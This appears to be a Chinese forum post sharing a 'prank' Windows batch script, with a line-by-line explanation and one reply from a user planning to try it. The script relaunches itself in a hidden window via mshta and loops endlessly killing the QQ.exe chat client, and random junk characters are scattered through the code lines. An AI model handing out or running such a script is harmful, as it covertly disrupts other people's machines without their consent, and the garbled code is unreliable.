一款小恶作剧代码 详解

sunhaiyan

功能：运行以后机器上的QQ就不能运行了。终结方法是：打开任务管理器，然后结束进程cmd.exe就可以了。
. E* j- C2 U  Z新建文本文档，然后将下面代码复制进去，然后重命名为a.bat，然后双击就可以了。
+ ^2 A/ Q( h# E5 j1 h( P/ d
( N5 y/ T9 b' N8 I4 @: D@echo off
if "%1" == "h" goto begin
( t6 m  a4 L! omshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
- n) r5 ]% h! q; J:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
+ ?. }" b3 q1 O* {) H1 D, D:killit
5 |9 R+ n% k  m  r' T/ }- X. ktaskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin
. U6 N; E! H! Q
代码到此为止
8 D/ {2 c4 S9 s讲解如下：
0 S0 I% I5 Y+ l+ d@echo off －－－－－－关闭回显
+ `; M* }& n& Z$ dif "%1" == "h" goto begin －－如果文件运行时有参数h，则显示窗口运行，否则只是在后台运行
* f' ]% Q% \" M) ~mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit －－－－－隐藏窗口代码
:begin －－－－－－－－－－－－定一段名begin
tasklist |find /i "QQ.exe" －－－－在任务管理器里寻找进程QQ.exe
2 h1 Z9 U+ Y  q- i. jif %errorlevel%==0 (goto killit) else (goto next)－－－如果存在QQ.exe.则跳转执行killit,否则执行next
& @5 v* b9 y  p  [2 \) O6 }2 \6 u:killit
taskkill /f /im QQ.exe－－－－终结进程QQ.exe
:next
8 U3 V4 g. l7 H6 a- w( x6 Oping -n 3 127.t >nul 2>nul －－－－－延迟一段时间
goto begin－－－－－－－－－－－－－－返回执行begin
. E; O/ `$ L! `) Y3 S

离殇易

有意思= =我去试试